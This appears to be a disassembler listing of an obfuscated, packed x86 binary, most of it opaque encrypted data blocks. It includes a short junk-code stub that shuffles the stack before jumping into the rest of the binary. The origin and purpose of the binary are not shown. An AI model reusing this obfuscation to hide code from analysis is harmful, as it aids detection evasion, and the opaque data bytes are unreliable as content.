		dd 61205EDh, 82E9h, 0A5B5FF00h,	0E906122Eh, 77h, 3219B5FFh
		dd 6CE90612h, 0FF000000h, 1232D1B5h, 61E906h, 0B5FF0000h
		dd 612254Dh, 56E9h, 51B5FF00h, 0E906121Bh, 4Bh,	30DDB5FFh
		dd 40E90612h, 0FF000000h, 122C09B5h, 35E906h, 0B5FF0000h
		dd 6121629h, 2AE9h, 5B5FF00h, 0E9061221h, 1Fh, 31DB5FFh
		dd 14E90612h, 8B000000h, 0BB8D8h, 0F7660000h, 0EE8D8DE3h
		dd 306192Ah, 0FFE1FFC8h, 120AC995h, 858B5B06h, 6122791h
		dd 0F045839h, 0F85h, 16A5300h, 247595FFh, 0E95B0612h, 0FFFFFFE2h
		dd 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 949858Bh,	8D8D0612h
		dd 6192BDCh, 8B014189h,	5985C6C3h, 56061202h, 0C530DF68h
		dd 69B5FFA9h, 8D06122Eh, 1581A485h
		dd 8DD0FF06h, 122C858Dh, 406A5106h, 0E65B5FFh, 0B5FF0612h
		dd 6121609h, 0B5FFD0FFh, 6120E65h, 1609B5FFh, 9E80612h
		dd 26000000h, 0AB32E420h, 0FC85E22h, 0EB835B5Bh, 242CC104h
		dd 2424C102h, 241C0302h, 33241CF7h, 33048BF6h, 16E7E881h
		dd 0E8812BDCh, 62C16DE3h, 0D9DBF081h, 48940DAh,	2EE8333h
		dd 343B4E4Eh, 10850F24h, 0E9000000h, 16h, 10C2FB99h, 91C2822Ah
		dd 0E963C7ACh, 0FFFFFFC5h, 780E3568h, 9D8D9A3Eh, 61203D5h
		dd 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 0E8C98B18h
		dd 0Dh,	58119882h, 0D2773E1Fh, 0F97399AEh, 0E2F281EBh
		dd 592BCEB7h, 9E9h, 0AAF77F00h,	7788670Eh, 0C181D4ECh
		dd 70B6h, 33DEBF0Fh, 8B6650C0h,	3C8B5BD8h, 7886BA01h, 0F7816D41h
		dd 6E8D96E7h, 4F84D381h, 0EF812721h, 4265ED63h,	27A5EF81h
		dd 0DA817951h, 671E3FF6h, 55BB6657h, 1048FD9h, 0B2F28B66h
		dd 0DDE88103h, 6042A445h, 14E8h, 0FDDA0900h, 0E84259C6h
		dd 0A27C082Fh, 0D139C3C8h, 51147EC2h, 8C0FE5h, 59000000h
		dd 0DE9h, 18422900h, 0C11BCF9Fh, 0DC72675h, 816117F4h
		dd 0A445D9C0h, 7E86042h, 92000000h, 1A6A7374h, 13E9C6CAh
		dd 98000000h, 0DC8E93BDh, 8A30F667h, 273F43CDh,	0EDCAABDAh
		dd 525ACB4Fh, 615889B3h, 9050F881h, 850FFFFFh, 15h, 29E9h
		dd 273C1400h, 0B600B4F1h, 0FF18A2ACh, 1651828h,	627BBE25h
		dd 37E9412Ch, 3CFFFFFFh, 87F0367Dh, 5EF87C1Eh, 75CD5C86h
		dd 8D8D0DBAh, 6192E86h,	6D73BB66h, 27918D89h, 6A0612h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 221291C3h, 919D23h, 0B5890612h, 61200B5h, 343985C7h
		dd 6FF40612h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 9AF7EFC3h, 0CE884h, 0C8190000h
		dd 0C8E0A0E0h, 0E175DA91h, 0B70FC57Ch, 85C75ED9h, 6122E5Dh
		dd 0
		dd 20D99D89h, 0B5FF0612h, 61232D1h, 4B5BD8Bh, 8B660612h
		dd 0C995FFC7h, 6A06120Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 884C351h, 9D89353Bh
		dd 61227A5h, 95FF006Ah,	6122475h, 4BEBC08Bh, 0E311C5D5h
		dd 0AFD8A8DDh, 0B9DCE8A9h, 0D8FBDFF5h, 79240F08h, 2EA8A3D5h
		dd 0B9BE4840h, 0A558E777h, 5E098BEAh, 86C438E5h, 0EC0A6EEAh
		dd 6157FEF9h, 7460457Ch, 0C2147109h, 0D5C3C4E3h, 1008A3F5h
		dd 62339350h, 0A61A1EFDh, 0E8CA0B6Ch, 0Bh, 163B9318h, 0ACA4D37Bh
		dd 6084E9E8h, 9D01CF8Bh, 6122191h, 8B665E61h, 0E0C681C7h
		dd 0F00006Ch, 1389h, 7E96000h, 47000000h, 36C1EA3Bh, 7EBBD32Ch
		dd 61588BDAh, 8D89D233h, 6121AE5h, 663234FFh, 665BFA8Bh
		dd 7C99D781h, 0B77EB81h, 0B9660402h, 0F381D6BFh, 4152E1DFh
		dd 0C5A0B866h, 7B0DF381h, 85895559h, 61225E9h, 89161C89h
		dd 12252585h, 0EA83F806h, 69858B04h, 81061226h,	0FF93D0FAh
		dd 15850FFFh, 66000000h, 0E9493AB9h, 20h, 0DDEB4C5Ah, 4A875C60h
		dd 0AA7B5F13h, 0FFFF9BE9h, 6786CBFFh, 0B5D2BC70h, 0EFE794D2h
		dd 0F5B5E47h, 8E9h, 72E31D00h, 3, 4A6E900h, 88680000h
		dd 0E9061930h, 0FFF950C8h, 19310768h, 50BEE906h, 7268FFF9h
		dd 0E9061932h, 0FFF950B4h, 49A656D2h, 98791DE6h, 0AA47F131h
		dd 0F819BB47h, 0BE49291h, 1AE94E70h, 0E43C936Ch, 0B14CA33Ch
		dd 8899F011h, 0A39801DEh, 0E3AD8C4Dh, 0D50C2A00h, 9CE8966Dh
		dd 0AD4AF40Dh, 0A11A7E40h, 44C0AC47h, 32B3E414h, 0FD176385h
		dd 0C6F0CE8h, 22E51060h, 0EC9500E8h, 2BB23286h,	0F5DFD6E5h
		dd 0A0000002h, 16CC0D63h, 136A00E8h, 169746AAh,	4A3100E8h
		dd 0B37AB6C9h, 0DAE12ACh, 0E880B7FBh, 0B170DF0Ch, 6CCF8C09h
		dd 5EB94513h, 318DB445h, 0D61A6ECFh, 600F9FCCh,	0E2FC6F1Dh
		dd 78AB3D7Eh, 92056101h, 5DD67C87h, 91803D00h, 0D26FE492h
		dd 3D7D8A95h, 0B0BC3BE5h, 0D05130B5h, 9F66C926h, 5C662CF7h
		dd 0BBB7682Fh, 2F2EDh, 711FE500h, 40E63990h, 0EBA48A7h
		dd 0E0849EF1h, 0AF5BA807h, 20172B52h, 77DA37E3h, 87EA07ADh
		dd 0D03FD87Ah, 0D748A951h, 0B2C7365Ah, 456100E3h, 1702BF1Ch
		dd 5D18640Eh, 0FA820ACBh, 0B6D9A406h, 224FC470h, 4683389Ch
		dd 0B54E48DBh, 8F119211h, 0CE3A3C2h, 0A051B7F4h, 3E00E3B2h
		dd 31D12C3Fh, 2794E7B4h, 0A23FEB38h, 7E0AB84Fh,	0A4E34C16h
		dd 5AD74B2h, 0ACBA6AD2h, 91BFAB5Eh, 273h, 11EE9E6Ah, 20C165BEh
		dd 728F39C9h, 8061031Fh, 0D32CDA29h, 62A196A8h,	2CF45BB4h
		dd 0F9046B84h, 0D051B859h, 0DB50C926h, 0E3B344B5h, 9DC4E200h
		dd 50ED4F6Fh, 43B2D613h, 9D06FA82h, 610FAF72h, 840C8904h
		dd 0CE3A3D9h, 0B09F1C1Fh, 0BCB9C773h, 0A82D3547h, 3C00E3B2h
		dd 0DF4E3AE6h, 0A3D19F45h, 1F92AA80h, 38A8006Ah, 51D6EEB7h
		dd 19Ch, 0EA946DF0h, 9B3BC651h,	691390EDh, 36DC2732h, 9C3EC34Ah
		dd 9D1695D0h, 6E8B33F2h, 365BD01h, 6FA82D2h, 2992116Ch
		dd 0E88423C7h, 4C38030Ch, 5703000Fh, 3543EF34h,	0A055BB38h
		dd 0D000E88Dh, 0FDEFC3AFh, 92D6E588h, 5Fh, 0FFCC93EDh
		dd 1D126E74h, 958948A0h, 542700E8h, 21BFB8DFh, 321A886Ah
		dd 3754D1E0h, 0E4157BA7h, 4206FA6Bh, 0A93F7CFBh, 0CE84C35h
		dd 0B6A11A61h, 0A127D970h, 92E9E5C9h, 970C6917h, 0B3589DE5h
		dd 932800E9h, 0B3C33256h, 1E1D00E9h, 3286ECA5h,	0D6E4BAB2h
		dd 0A9DFh, 6EB1A000h, 0BF344BC8h, 0DBA951D0h, 0BB4A259Eh
		dd 214EAA13h, 76DBA10Fh, 1871FB78h, 0B8115F0Bh,	6869FF69h
		dd 0C606FAF9h, 1D8CF877h, 0ABBD5A04h, 6FA05E0h,	40A149D8h
		dd 0CC71D3EBh, 0E7A566A4h, 40FD400Ch, 4BA452D1h, 0A0731FE4h
		dd 5EA8B7EEh, 875430Fh,	1F000001h, 53BE5B09h, 62CD2AD0h
		dd 0B01FF8A4h, 0C22DCA6Eh, 0C5789945h, 21CD5A01h, 0F19769C0h
		dd 0C264B910h, 933BCA25h, 18702D76h, 0E3B0D9h, 0BF065B77h
		dd 82EFEE02h, 0F24906FAh, 65111671h, 9668F784h,	0E18B9BF2h
		dd 0BEFC0564h, 0B5B0BC68h, 29A448DAh, 946D69C8h, 0F60F9EEAh
		dd 22D33572h, 0BC06FA82h, 82A657C1h, 3D0006FAh,	0E3E37DBEh
		dd 28A78DCBh, 0D13EDF54h, 0FE12AB0Dh, 0CE81DDEh, 69F84538h
		dd 5B2EF19Ah, 0D444EE37h, 900FB470h, 3FF4E177h,	0A16000E8h
		dd 72B118F9h, 68EEB8C4h, 6B000000h, 50ED4F6Fh, 0E3A32938h
		dd 0C8B4870Ch, 0EA7C8493h, 0E3AD5786h, 0F8AF100h, 802AFB96h
		dd 51F90867h, 84775323h, 0CC650C48h, 0C36BBA66h, 903ACB26h
		dd 0F79965E4h, 7791AE89h, 635C37A4h, 0DC950EDAh, 0D37B8A76h
		dd 4C4ADB36h, 7D0BB7h, 1429F785h, 0A8000000h, 8C6E21BFh
		dd 0B0861506h, 0CFF4E50Bh, 0EB5206FAh, 6D6BEA6Ah, 329BE997h
		dd 0AC3D4BF3h, 4AC3B151h, 0E76612BAh, 87067220h, 27A6D280h
		dd 0C24B39DBh, 7DEC9844h, 2D70FCA2h, 5E08950h, 4, 8704E883h
		dd 895C2404h, 8957240Ch, 4C781E7h, 81000000h, 4EFh, 243C8700h
		dd 2434895Ch, 621A68h, 243C8900h, 0FFBE5653h, 81026E05h
		dd 5F39EFEEh, 2EEC160h,	0F681D6F7h, 7D4D7EF0h, 0C681D6F7h
		dd 26195547h, 815EF389h, 310C84C3h, 5BDE898Ah, 255968h
		dd 24248900h, 4240483h,	4EC815Fh, 89000000h, 478F2434h
		dd 243C8B08h, 5E08950h,	4, 405h, 24048700h, 24348B5Ch
		dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 0F94C33E9h, 0B887AAFFh
		dd 10981B28h, 19339FB8h, 0FFC50306h, 0CE8114E0h, 0A832C74Fh
		dd 6E755B31h, 0DB4C2640h, 6636DD71h, 2CBD0D64h,	0F5420204h
		dd 8152AD43h, 1DFFF11h,	3381570Bh, 9DB66852h, 16A1B1Bh
		dd 0C272D838h, 4069A802h, 0A3C0D7Bh, 4F5F1F2Ah,	0A76B5D1Fh
		dd 630B3B3Bh, 5B82883Bh, 591ACB4Fh, 0A166DC0Fh,	0E9FFB259h
		dd 124E4140h, 32411D5Ch, 0B4344436h, 351E9B7Eh,	0C0406A18h
		dd 0F5655212h, 315AB50Fh, 0B76A5220h, 0BF49A619h, 0AE861h
		dd 69210000h, 5E57F521h, 0E96D97EBh, 0FB8B665Eh, 6150C681h
		dd 800F0000h, 14h, 8E8h, 48463B00h, 5CF7D174h, 830F0Ch
		dd 5F000000h, 182568h, 0FB8B6600h, 0AE95Bh, 7A9A0000h
		dd 51B940C5h, 4E7B0310h, 0CDB436FFh, 0E881665Ah, 0C281BC9Ah
		dd 7D3F64E6h, 4962C281h, 0BF0F3026h, 72EA81C1h,	0F96CF66Dh
		dd 0EE831689h, 0B3B96604h, 1EB819Eh, 0F000000h,	3285h
		dd 14E800h, 0E7870000h,	0D978B68h, 0CB020B44h, 7FBFCCEh
		dd 21495DF5h, 8D0FDBD5h, 3, 5975D980h, 1DE9h, 0FD4EFB00h
		dd 0B61ECD2h, 80A8C329h, 91E93CE1h, 7BFFFFFFh, 3ADAB403h
		dd 0CEB371AEh, 6E82114h, 0E5000000h, 9D6ACCE1h,	18A0FF0h
		dd 0F8000000h, 0EE958h,	583D0000h, 1238B3FBh, 5B603283h
		dd 1E30AAB9h, 670EC081h, 0B5500000h, 0BE5A80h, 0F000000h
		dd 989h, 38F0F00h, 66000000h, 3C8BD18Bh, 9E85230h, 0BF000000h
		dd 7D6CA03Ch, 13B22666h, 6E9h, 0FBD1B000h, 5A4F27DAh, 25EF8159h
		dd 6610ABBCh, 793DE381h, 38B0F781h, 81F52F5Bh, 0ACBCF5F7h
		dd 6860F23h, 60000000h,	0CA8B5F50h, 303C8961h, 0B8A0Fh
		dd 850F0000h, 5, 0F323C1BBh, 12E803h, 15150000h, 45BE3C3Dh
		dd 0CD93AA9Ah, 4D0908B2h
		dd 49C0930Fh, 5BCEB70Fh, 8104EE83h, 0EA8D11C1h,	0DCFE8164h
		dd 0FFFFF99h, 1985h, 2850F00h, 8B000000h, 1BE9D1h, 0F5B50000h
		dd 0E3673F83h, 0D834125Bh, 0CA8A681Bh, 0FFFF59E9h, 851FC5FFh
		dd 0C4AC008Ah, 0CE8FAh,	0B54F0000h, 2BF7B62Dh, 7E0AF023h
		dd 0E95A2AACh, 0Eh, 0A13BD485h,	0CF98F0E1h, 0E7F1D87Ah
		dd 0C2814222h, 72F8h, 8A0Fh, 0DB330000h, 1810Fh, 8BF90000h
		dd 99B91A34h, 817CC64Ch, 0D840AAF6h, 8850F67h, 0F000000h
		dd 28Ah, 815F5700h, 0D0FD0AF6h,	0F68139h, 0B848A717h, 5CF9CBB6h
		dd 0FC1A3489h, 4707EB81h, 41B86771h, 815C8D2Ah,	714703C3h
		dd 0CE867h, 28930000h, 4690456Ch, 66D65607h, 11E97D89h
		dd 0A7000000h, 0E340CF3Eh, 0F9AFE8C2h, 625019EFh, 73DA5F2Ch
		dd 0B4FB8159h, 0FFFFF8Dh, 0FFFF8A85h, 0CF8166FFh, 0C08B538Bh
		dd 0E71BD83h, 75000612h, 69BD8309h, 6122Dh, 53501974h
		dd 21B8C08Bh, 89000004h, 1234F585h, 0EA9D8D06h,	0FF0614AFh
		dd 83585BD3h, 122D69BDh, 17740006h, 21B85350h, 89000004h
		dd 1234F585h, 0D99D8D06h, 0FF0614ACh, 8B585BD3h, 559D8BC0h
		dd 0C6061225h, 12025985h, 52685606h, 0FF9CA8B8h, 122E69B5h
		dd 0A4858D06h, 0FF061581h, 68046AD0h, 1000h, 3371B5FFh
		dd 6A0612h, 0C085D0FFh,	0D850Fh, 0B80000h, 8D000000h, 1273178Dh
		dd 8BE1FF06h, 3C38BC8h,	0F8053C40h, 8B000000h, 0D3030C50h
		dd 3D5BD83h, 0F000612h,	0E84h, 0D59D8B00h, 8B061203h, 122F9985h
		dd 51038906h, 0D0858D52h, 0FF061244h, 8BFA8BD0h, 8BD18BF1h
		dd 0C6A4F3C8h, 12025985h, 39685606h, 0FFD41F6Dh, 122E69B5h
		dd 0A4858D06h, 0FF061581h, 800068D0h, 6A0000h, 8BD0FF52h
		dd 71BD83C0h, 6120Eh, 0BD830975h, 6122D69h, 50197400h
		dd 0B8C08B53h, 421h, 32058589h,	9D8D0612h, 614B051h, 585BD3FFh
		dd 2D69BD83h, 74000612h, 0B8535017h, 421h, 32058589h, 9D8D0612h
		dd 614ACF2h, 585BD3FFh,	9D8DC08Bh, 61203D5h, 0C00B038Bh
		dd 7840Fh, 38B0000h, 89045B8Bh,	4B41B818h, 0AE80000h, 29000000h
		dd 0C70A4B45h, 0F46FB5A1h, 5E889h, 97460000h, 51C40C1Eh
		dd 5E5E93B2h, 17BA665Fh, 33C78187h, 810000E9h, 0F4A288DEh
		dd 3A17B940h, 81660000h, 8B91C4D8h, 9FEB811Fh, 665FEBB2h
		dd 2E6ED681h, 0B503EB81h, 800F6E8Ch, 10h, 9E950h, 797B0000h
		dd 91DAF572h, 5ED18554h, 1A78C381h, 0DE962E3h, 4B000000h
		dd 9A09FF3Fh, 7B7D4BE6h, 6BB8E070h, 0CE81F89h, 0DD000000h
		dd 5C375724h, 5EE2C54Ch, 0FD6C508h, 68Ch, 840F00h, 5E000000h
		dd 456CEF81h, 0C68179A9h, 13B1A7F8h, 4568C781h,	506079A9h
		dd 0DE9h, 32486400h, 0DBCEF087h, 8139130Ch, 665F80C3h
		dd 8361D78Bh, 850F01E9h, 0FFFFFF6Bh, 5E860h, 9510000h
		dd 66300FD4h, 1B16D781h, 13E8615Bh, 84000000h, 181080D5h
		dd 0CD7813BDh, 0A3BA6B39h, 0AB210767h, 665F7C6Bh, 0F881C681h
		dd 638DC781h, 6E90000h,	0C2000000h, 0FEF3F26Eh,	68A9h
		dd 0E9810000h, 51E16FB5h, 0F6BF0F5Bh, 8B1F048Bh, 0C8C081F1h
		dd 6661EB3Ah, 813ED0BAh, 90DB4AF0h, 0E6816648h,	0E881E16Fh
		dd 1811895Eh, 24BD29BAh, 6160506Eh, 0F1F048Fh, 48Ch, 0EF8A5700h
		dd 1EB835Eh, 14870Fh, 870F0000h, 0Eh, 9E9h, 363FCC00h
		dd 3E1B5682h, 4B4B2F5Bh, 63C1804Bh, 9D3CFB81h, 850FFFFFh
		dd 17h,	0FDA7BF60h, 0E9616DBAh,	24h, 2CDC8D5Ch,	0C83AA411h
		dd 0F2B9CCBh, 7DE9D0BFh, 2FFFFFFFh, 0C4FA4AFCh,	0FF88FFB8h
		dd 3F127CD8h, 2F5A203Ch, 42FB0CEBh, 64EF7EFCh, 4D1B1D84h
		dd 6E98E3Dh, 0E9000006h, 5FAh, 0B14EFE0Ah, 0C021C55Eh
		dd 12EF9969h, 20C163BFh, 738C3AC9h, 0C241F6C8h,	8C94FB14h
		dd 59A40BE4h, 30F158B9h, 7B306986h, 0E3B8E415h,	3DA44200h
		dd 9EEA946Dh, 0EB50F20Fh, 829B5AAEh, 0FC0706FAh, 0BD360556h
		dd 0F2C65ECFh, 0A352B634h, 3D06FA82h, 3844C33Eh, 0B64852D1h
		dd 8C0B6612h, 0EC9A69E0h, 53F50980h, 0B25EA425h, 16BC47C6h
		dd 0B7F4316Ah, 0FA82A051h, 0D53F3E06h, 6FA8224h, 24CE5782h
		dd 259E1D58h, 0A9127648h, 7E20FD6Ch, 98379305h,	0CCAF0CE3h
		dd 0C3D929A0h, 8FEA9644h, 8A98F710h, 35F25DDEh,	57EFB89h
		dd 0D2DCEF77h, 1EE429CEh, 7B870672h, 0B6E1ABD9h, 0A491C0DCh
		dd 0D92A68B5h, 743DB635h, 0DD21301Eh, 57AFBA3Bh, 0DFFF4CADh
		dd 9DEB8D91h, 0B0D865E0h, 721CBC10h, 881EF4Eh, 55B455F5h
		dd 0A5A26C8h, 95479CDBh, 8080EA1Fh, 0AF3CDD7Dh,	0F810AD0Fh
		dd 0AC5E8858h, 0A9B9C7B6h, 0A032D82Ch, 0C381DF5Ch, 0C96F6DDBh
		dd 74DE970Ch, 3F1FAC1Ch, 41C02076h, 0AED0F13Dh,	6B13127Dh
		dd 790EAh, 0D2310000h, 3A5h, 51D0BFB7h,	65BCCDB4h, 4ECDE520h
		dd 0C767BAD5h, 26D250B9h, 331F285Ah, 6F882AF7h,	12C047D2h
		dd 0FF8A0B66h, 82F48022h, 0E44EE774h, 8439D924h, 0B681FC64h
		dd 0D2532BB4h, 0C150439h, 6EB71662h, 9CF449C4h,	6FAF25Dh
		dd 640380FBh, 0D586F29Eh, 9411BD4Ah, 9B6B29F5h,	290672F1h
		dd 889E8AE0h, 2D3A83C1h, 159085E3h, 93686CF4h, 27FC54C3h
		dd 76E19E7Bh, 50B805B1h, 5903B3A1h, 0A8C73C3Fh,	97C4B058h
		dd 55CE7A88h, 3642EA3Ah, 30F05AEFh, 64F348F0h, 0EA87F59Dh
		dd 7CEB9069h, 0F28FFDA5h, 0B3B62749h, 2D105903h, 0FF66A8h
		dd 6FE30000h, 40B1D753h, 9E06FA82h, 7C08B273h, 0BD1A8201h
		dd 0F67B75FAh, 4EDFAD28h, 4DF20FB7h, 1A9B43C2h,	0B00DB74Fh
		dd 0BB92E650h, 0FA1EA455h, 0A13B0206h, 0CB4877ABh, 0FC20D1A1h
		dd 0E92206FAh, 0D7818181h, 0A74DD73Ah, 52F80B16h, 0E322ABD1h
		dd 2345823Bh, 6FAFCB2h,	0C8B4310Ch, 7462C879h, 6721CE5h
		dd 859FEA6Bh, 72D0C0C2h, 0CD5B20ABh, 0D3BC670Ah, 0CE6FEA69h
		dd 0DC7E7F91h, 0D03806FAh, 6FADC21h, 709FBCBFh,	0FC7907B3h
		dd 25D43C81h, 8306FADCh, 4FA23BB8h, 3A610FB5h, 0B52ED42Fh
		dd 0D3A14DDAh, 0D0967D4h, 0F73FB7CAh, 9764FAF1h, 49419C05h
		dd 73AF9BCCh, 56B20BB1h, 0EA936EF3h, 0D2368767h, 6FA3323h
		dd 0A445BEBDh, 0D3778897h, 33D7066Ah, 0A7106FAh, 7D29FE89h
		dd 0D478890Fh, 5EC90763h, 0C4A320C4h, 1B76933Fh, 48D76406h
		dd 0EA9213B7h, 0FA335E9Ah, 0DCB6F106h, 0D031D12Ch, 0EE906D71h
		dd 8D9CD982h, 9B5ACA74h, 0D506FA82h, 0FA8242B3h, 0FCA19C06h
		dd 0D1AD219Ch, 0DF5AB9ADh, 46CB0A5Eh, 166506FAh, 8F2FF29Dh
		dd 0D512A1E1h, 0FA4642B3h, 24A19C06h, 61B0763h,	0D5DD8B64h
		dd 3F06FABAh, 0F74E0584h, 0FEB564D0h, 6F0DFFFFh, 3850ED4Fh
		dd 0CE876A8h, 0C0493706h, 11789941h, 0B31A6610h, 5C9DF36Fh
		dd 0FA00E89Eh, 29780483h, 0AF76B298h, 7E87EA07h, 28F867D4h
		dd 0C479F480h, 0E89E2DACh, 33B08B00h, 9EBD3949h, 0A5E200E8h
		dd 1AC45DCDh, 0EB9392FDh, 0B373DE9Dh, 0DFFF8C09h, 88A8C07Dh
		dd 0E60AFABAh, 0C9157A97h, 0CBC63759h, 1D600ADEh, 0F0321D9Eh
		dd 2D6AD74Ch, 0BB38E422h, 0C7D1E955h, 3020D00h,	47F3305Bh
		dd 0DEAA91CEh, 0F710B24Fh, 58E58598h, 0FC8F39C9h, 74F87D25h
		dd 0EA6BDFECh, 701AEB3Dh, 0D37D8504h, 0DEB4FFA5h, 67C364CEh
		dd 77C466BBh, 16F1BE8h,	0A30EEF64h
		dd 5CCDBB61h, 0FA5321C1h, 96F78529h, 57FD078Bh,	0A3D14C29h
		dd 0D7E74384h, 4A9EDB50h, 8DD9EF8Bh, 0D0381EE6h, 46179B78h
		dd 2636A7C9h, 0AD908DD9h, 96FCB52Eh, 0D42FC2C2h, 0BBAF5Bh
		dd 6D4A0000h, 0BC13EC92h, 6D6C8466h, 0CB06FA82h, 0B514F570h
		dd 0C72AC769h, 9544AC40h, 3306FA82h, 1070CD48h,	8166F5Ch
		dd 0CD2EA7C8h, 0E15A562h, 7704E560h, 0F07515E8h, 2FF48F91h
		dd 96DFC76Bh, 6FAC118Ch, 0FF9F4511h, 8D172E6Ah,	6FA374Ch
		dd 0FFA57FEAh, 0C479F471h, 0FA372DACh, 33B08B06h, 8AA77DAh
		dd 0D98180EFh, 0A452D138h, 5FCA47D8h, 0D8A421C3h, 0B506B071h
		dd 0DCAA245Bh, 13104051h, 3D53E867h, 6FAC5BCh, 0DAA2231Ah
		dd 74BE94DDh, 0C520D137h, 0BFBE06FAh, 6A10137Eh, 9E2631Eh
		dd 778C9B90h, 14224ACBh, 8Ch, 14C652FDh, 3206FA82h, 0D44391F9h
		dd 9122A34Fh, 0D2926D86h, 0FA823FBEh, 27A29906h, 0F59F67CAh
		dd 29F86714h, 25D43C81h, 8306FA82h, 0D22C3BB8h,	0BDACD12Eh
		dd 2B46BF61h, 7ED12EDCh, 2040FDA9h, 80B46A0Ah, 45A61FBAh
		dd 0C9721AEAh, 0C375648Ch, 0DD3306FAh, 6FAC31Ch, 0A39AC3BAh
		dd 9B66C922h, 4DD742FBh, 1F9CD9A7h, 0FAC308C9h,	5ED7A606h
		dd 2BD352BDh, 12DCCEh, 0BF850000h, 2EA753D0h, 1BEA75B6h
		dd 5EDD879Fh, 0BBDE5712h, 9BE9976Dh, 3D4BF332h,	0C3B151ACh
		dd 6612BA4Ah, 67220E7h,	0A6D28087h, 4B39DB27h, 0EC9844C2h
		dd 70FCA27Dh, 5248682Dh, 1C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebp
		push	edi
		mov	edi, 6193A67h
		mov	ebp, edi
		pop	edi
		mov	esi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		pop	dword ptr [ebx+8]
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55074C
; ---------------------------------------------------------------------------
		db 3, 2Eh, 0A9h
		dd 0D8B8CF39h, 306193Fh, 55D38BC5h, 5E75FDEDh, 0A476F67Ah
		dd 0BC56E669h, 4FD49h, 2E7AFD21h, 38BBFD21h, 0B019FD21h
		dd 750BFD21h, 97E1FD21h, 0E6CEFD21h, 5EAFFD21h,	29AFD21h
		dd 2FC1FD21h, 389EFD21h, 0B2F3FD21h, 765CFD21h,	943DFD21h
		dd 0E51EFD21h, 5CDAFD21h, 2EFD21h, 259DFD21h, 2295358Ah
		dd 4A76D6A2h, 0BD5CDE71h, 5A5CF44Bh, 2775FD7Ah,	9775F572h
		dd 0CB74FD79h, 0ED73FD78h, 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh
		dd 5E75FD7Ah, 4776FD7Ah, 2175A630h, 0CB75A631h,	0E475FD7Ah
		dd 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h, 0DCF0701Ah, 0A673E43Eh
		dd 8E3544FFh, 53F0707Ch, 6C73E43Eh, 0EB3584FFh,	0AFF0707Ch
		dd 3573E43Eh, 473548FFh, 19F0707Ch, 1E73E43Eh, 0D23580FFh
		dd 10F0707Ch, 7B73E439h, 60357CFFh, 2FF0707Ch, 0D773E438h
		dd 363578FFh, 32F0707Ch, 4273E438h, 0FC3574FFh,	49F0707Ch
		dd 0F073E438h, 0A53570FFh, 48F0707Ch, 0A673E439h, 8E3564FFh
		dd 29F0707Ch, 6C73E438h, 0EB356CFFh, 78F0707Ch,	3573E439h
		dd 473568FFh, 39F0707Ch, 1E73E439h, 0D23564FFh,	0B5F0707Ch
		dd 7B73E439h, 603554FFh, 0D3F0707Ch, 0D773E439h, 363550FFh
		dd 5F0707Ch, 4273E439h,	0FC354CFFh, 29F0707Ch, 0F073E439h
		dd 0A53560FFh, 4CF0707Ch, 0A673E43Eh, 8E355CFFh, 66F0707Ch
		dd 6C73E43Eh, 0EB3558FFh, 40F0767Ch, 3573EF68h,	47350FFFh
		dd 76F0767Ch, 1E73EF68h, 0D2350BFFh, 0B0B69C7Ch, 0F29D11F1h
		dd 2375FD7Ah, 0FE7317FBh, 0D525FB63h, 0ADFDF53Fh, 916CBD8Bh
		dd 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah, 9B987C27h
		dd 0A073E438h, 363585FFh, 0EFC87D7Ch, 0CF73E43Ah, 0E4C5B409h
		dd 0F9B54B75h, 863589BAh, 0A5350BEFh, 96FEBD7Ch, 2F7A452Bh
		dd 28AFD7Ah, 0CD6CBD8Ch, 0A50C48F7h, 0C6F8FB63h, 4B9D50FCh
		dd 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah, 916CBD8Ch, 8B0C48F7h
		dd 0D1F8FB63h, 228A50FCh, 87BC1F23h, 0A53585F7h, 52DA07Ch
		dd 0EC2CA320h, 97776D92h, 0C1CD4D7Ah, 708A5779h, 0F46CBD88h
		dd 79D3ED1h, 0DA75FD78h, 54CD9BC2h, 0D0DE9B59h,	8E350FEFh
		dd 8DE9B7Ch, 0E5779592h, 0F3360B7Ah, 866E8872h,	0A5350FEFh
		dd 54C54D7Ch, 0BA8AAD79h, 916CBD88h, 2BF69B20h,	277E9B7Eh
		dd 1AB6561Ch, 7975FF6Bh, 0BE4E1529h, 652FFD7Ah,	0A57B89A0h
		dd 94913D59h, 7F5DF70h,	83FE4DBAh, 9D3ED1h, 2A75FD7Bh
		dd 0BC77E192h, 844EA77Ah, 49C5120Eh, 7FA916D0h,	0CB75FCA7h
		dd 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h, 65548872h
		dd 0A56889A0h, 94913D59h, 7F5DF70h, 0B5FF4DBAh,	0B2876885h
		dd 1F2FFB63h, 0DA51FD5Fh, 0F5133F71h, 85E94DB9h, 9774BD92h
		dd 61F44D7Ah, 0E5743592h, 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h
		dd 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh, 4A13451Ch,	439D561Ch
		dd 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch, 0EE75FD7Bh, 9FB657E7h
		dd 699D57E6h, 2375FD7Ah, 0E575FCF3h, 0FA74BE8Ch, 0F9C5F20Fh
